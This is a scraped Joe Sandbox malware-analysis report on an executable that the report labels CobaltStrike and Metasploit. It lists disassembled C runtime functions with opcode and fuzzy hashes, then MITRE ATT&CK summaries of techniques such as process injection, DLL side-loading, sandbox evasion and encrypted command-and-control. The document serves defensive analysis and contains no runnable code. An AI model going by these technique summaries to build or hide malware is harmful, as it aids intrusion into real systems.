
Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 1ccfd0c86d2c3b6164b28ea2c4af9391eb772c0ae93d517f453400fcbfad8966
Instruction ID: 963028bb00a691eeffc2eef9ccc69549c615f99f954e80f7958647b3dca3948b
Opcode Fuzzy Hash: 1ccfd0c86d2c3b6164b28ea2c4af9391eb772c0ae93d517f453400fcbfad8966
Instruction Fuzzy Hash: F321037071FA654AE7B8A6ACC0943B976D0E78B352F5406A9E88FCB1C6D930C84183C3

Function 000001A266DDA0A3 Relevance: 6.1, APIs: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 000001A266DDA0C0

Part of subcall function 000001A266DDE227: _FindPESection.LIBCMT ref: 000001A266DDE250

_initp_misc_cfltcvt_tab.LIBCMT ref: 000001A266DDA0D1
_initterm_e.LIBCMT ref: 000001A266DDA0E4
_IsNonwritableInCurrentImage.LIBCMT ref: 000001A266DDA12D

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable$FindSection_initp_misc_cfltcvt_tab_initterm_e
String ID:
API String ID: 1991439119-0
Opcode ID: 579f9fa0b8d6fb751d74d787f1787e4cc3fc4465efe1fdf510024c7c4772c102
Instruction ID: b78031655bec54fef5e113b280f7e8609576d73d4d36358d0879a67f126fa710
Opcode Fuzzy Hash: 579f9fa0b8d6fb751d74d787f1787e4cc3fc4465efe1fdf510024c7c4772c102
Instruction Fuzzy Hash: 7111BF31217A4A8BFB7CFB28E8987E67290E717301F488529D80AC20E5EE78D9858741

Function 000001A2671D8C9C Relevance: 5.4, APIs: 4, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671D8D0F
malloc.LIBCMT ref: 000001A2671D8F33
malloc.LIBCMT ref: 000001A2671D9031

Part of subcall function 000001A2671DC084: _getptd.LIBCMT ref: 000001A2671DC0A3

free.LIBCMT ref: 000001A2671D9019

Part of subcall function 000001A2671D9DB0: RtlFreeHeap.NTDLL ref: 000001A2671D9DC6
Part of subcall function 000001A2671D9DB0: _errno.LIBCMT ref: 000001A2671D9DD0

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: malloc$FreeHeap_errno_getptdfree
String ID:
API String ID: 3311824342-0
Opcode ID: 6d4acad3ce07dec7ffc35c9a1ee9719d7482b828731235652d3c23457be4862f
Instruction ID: 2a71bb4e56623c356ffd0f8b74afa65cf78ed01b9170fd3fbfca9a15c6c7cb65
Opcode Fuzzy Hash: 6d4acad3ce07dec7ffc35c9a1ee9719d7482b828731235652d3c23457be4862f
Instruction Fuzzy Hash: 4BC17330626A448FF768EF2CB8517B573D5F75A310F6055AED85AC31E1FA3898428F82

Function 000001A266DD80E3 Relevance: 5.4, APIs: 4, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DD8156
malloc.LIBCMT ref: 000001A266DD837A
malloc.LIBCMT ref: 000001A266DD8478

Part of subcall function 000001A266DDB4CB: _getptd.LIBCMT ref: 000001A266DDB4EA

free.LIBCMT ref: 000001A266DD8460

Part of subcall function 000001A266DD91F7: _errno.LIBCMT ref: 000001A266DD9217

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: malloc$_errno_getptdfree
String ID:
API String ID: 3172138858-0
Opcode ID: 6d4acad3ce07dec7ffc35c9a1ee9719d7482b828731235652d3c23457be4862f
Instruction ID: a56d473f47759ebda8147e4408345fa9edaec5d0b41469b7bd48375d7a9621f3
Opcode Fuzzy Hash: 6d4acad3ce07dec7ffc35c9a1ee9719d7482b828731235652d3c23457be4862f
Instruction Fuzzy Hash: 59C17E3062AA489FF779FB2CA8427B537D4F74B315F64512DD84AC31E1DA78D8428782

Function 000001A2671DA3D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671DA421

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA42C

Strings

B, xrefs: 000001A2671DA458

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: 6df0233cf25c37d10e0535bbc7d993ffbcaf1aef23661705da931856b971c2e9
Instruction ID: 18f5365d408a5834f6db66e338c3b945ace6fff645d23256e35afee1dc7c9fad
Opcode Fuzzy Hash: 6df0233cf25c37d10e0535bbc7d993ffbcaf1aef23661705da931856b971c2e9
Instruction Fuzzy Hash: 0C119D30619A088FD754EF5CA4897A6B6D1FB98324F5047AEA41DC32E1EB74C944CB82

Function 000001A266DD9817 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DD9868

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DD9873

Strings

B, xrefs: 000001A266DD989F

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: 6df0233cf25c37d10e0535bbc7d993ffbcaf1aef23661705da931856b971c2e9
Instruction ID: 51e1ff94426e2e3f35a5c6d7abd45e729a84d7a2fc1116e07483be86693280c6
Opcode Fuzzy Hash: 6df0233cf25c37d10e0535bbc7d993ffbcaf1aef23661705da931856b971c2e9
Instruction Fuzzy Hash: B511BF30219A088FD768EF5CD4957AAB3D1FB99324F1047AEE45DC72E1CA74C844CB82

Function 000001A2671D825D Relevance: 5.2, APIs: 4, Instructions: 216COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671D8280

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

free.LIBCMT ref: 000001A2671D83C7
free.LIBCMT ref: 000001A2671D842B
free.LIBCMT ref: 000001A2671D8437

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: c8d6483b112ac9e9e09dee79b3f556ec7d7aebe8e3cad2151d24ad41e5379c43
Instruction ID: c9b06e1db690944cf05281c929421e45e621299d7ad41f8ada8afcd5e35306ef
Opcode Fuzzy Hash: c8d6483b112ac9e9e09dee79b3f556ec7d7aebe8e3cad2151d24ad41e5379c43
Instruction Fuzzy Hash: E561747031A9194BEB59AB2CA4557ED73D1EB95300F50199AE84EC31C7FE38D9028A83

Function 000001A266DD76A4 Relevance: 5.2, APIs: 4, Instructions: 216COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DD76C7

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

free.LIBCMT ref: 000001A266DD780E
free.LIBCMT ref: 000001A266DD7872
free.LIBCMT ref: 000001A266DD787E

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: c8d6483b112ac9e9e09dee79b3f556ec7d7aebe8e3cad2151d24ad41e5379c43
Instruction ID: b9f74e10e74b39238e0425844de9b32aabfb872fa01e4ce98ed0c27f275bc499
Opcode Fuzzy Hash: c8d6483b112ac9e9e09dee79b3f556ec7d7aebe8e3cad2151d24ad41e5379c43
Instruction Fuzzy Hash: A8616E3171AA084BEA7DBB6C98517ED72D2EB97300F140959EC4EC31C6EE34E9568783

Function 000001A2671CE188 Relevance: 5.2, APIs: 4, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 000001A2671CE225

Part of subcall function 000001A2671DA1AC: _errno.LIBCMT ref: 000001A2671DA1E3
Part of subcall function 000001A2671DA1AC: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA1EE

_snprintf.LIBCMT ref: 000001A2671CE241
_snprintf.LIBCMT ref: 000001A2671CE2B7
_snprintf.LIBCMT ref: 000001A2671CE2CE

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: 7a1ff5ea2b94b72c8c427c47afeceac681f5d92c7f90e240d2f716e471b618c6
Instruction ID: e5b57f7d176499f1e7a5d3fcd89e0c3d1506b2bac2e180f4467ad3fc1320c05a
Opcode Fuzzy Hash: 7a1ff5ea2b94b72c8c427c47afeceac681f5d92c7f90e240d2f716e471b618c6
Instruction Fuzzy Hash: F961A730619A488FEB44EF58E895BDA77E5FB95300F00416AE84AC31D2FF38D945CB42

Function 000001A266DCD5CF Relevance: 5.2, APIs: 4, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 000001A266DCD66C

Part of subcall function 000001A266DD95F3: _errno.LIBCMT ref: 000001A266DD962A
Part of subcall function 000001A266DD95F3: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DD9635

_snprintf.LIBCMT ref: 000001A266DCD688
_snprintf.LIBCMT ref: 000001A266DCD6FE
_snprintf.LIBCMT ref: 000001A266DCD715

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: 7a1ff5ea2b94b72c8c427c47afeceac681f5d92c7f90e240d2f716e471b618c6
Instruction ID: 12f158480764d20aa3976ff7a1993be86f0370fc0b6df29694a5241fca03b986
Opcode Fuzzy Hash: 7a1ff5ea2b94b72c8c427c47afeceac681f5d92c7f90e240d2f716e471b618c6
Instruction Fuzzy Hash: F461B63064AA4C8FEB68FF58D8957EA77E5FB95304F004129E80AC32D2DB34D905CB42

Function 000001A2671C4300 Relevance: 5.2, APIs: 4, Instructions: 179COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671C4363

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 40aa8811c33e03ba63dd098abb3770b9ec6802d407ed038ffc0483b7084f4fcc
Instruction ID: 0b94ae2ef4f9d58eee194dfaa606c1c3dd688807cd81f7eace8612b0a61e22af
Opcode Fuzzy Hash: 40aa8811c33e03ba63dd098abb3770b9ec6802d407ed038ffc0483b7084f4fcc
Instruction Fuzzy Hash: E151B73071EA058BEB58DF6CE4952A977D1FB86300F1045AEDC5FC7286FA34EC429686

Function 000001A266DC3747 Relevance: 5.2, APIs: 4, Instructions: 179COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DC37AA

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 40aa8811c33e03ba63dd098abb3770b9ec6802d407ed038ffc0483b7084f4fcc
Instruction ID: 7e341e0cbf1f1708100852ede7550c9d0520f0b074b55ff59e91c63a262487b6
Opcode Fuzzy Hash: 40aa8811c33e03ba63dd098abb3770b9ec6802d407ed038ffc0483b7084f4fcc
Instruction Fuzzy Hash: 2951B67071AA098BEB6C9F2CD4956B973DAFB86310F11455DEC5FC3286EA30EC064782

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zrNcqxZRSM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Threatname: Metasploit

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
zrNcqxZRSM.exe

Function 00C3C760 Relevance: 14.1, Strings: 11, Instructions: 384
COMMON

Function 00C61A40 Relevance: 14.0, Strings: 11, Instructions: 247
COMMON

Function 00C60200 Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Function 00C32060 Relevance: 9.2, Strings: 7, Instructions: 430
COMMON

Function 000001A2650C012B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99
memoryfilenetworkCOMMON

Function 000001A2671CDC54 Relevance: 10.7, APIs: 7, Instructions: 239
networkCOMMONLIBRARYCODE

Function 000001A2671CCA74 Relevance: 7.8, APIs: 6, Instructions: 289
COMMONLIBRARYCODE

Function 000001A2650C00D2 Relevance: 6.3, APIs: 2, Strings: 1, Instructions: 1048
librarynetworkCOMMON

Function 000001A2671CE4D4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103
networkCOMMONLIBRARYCODE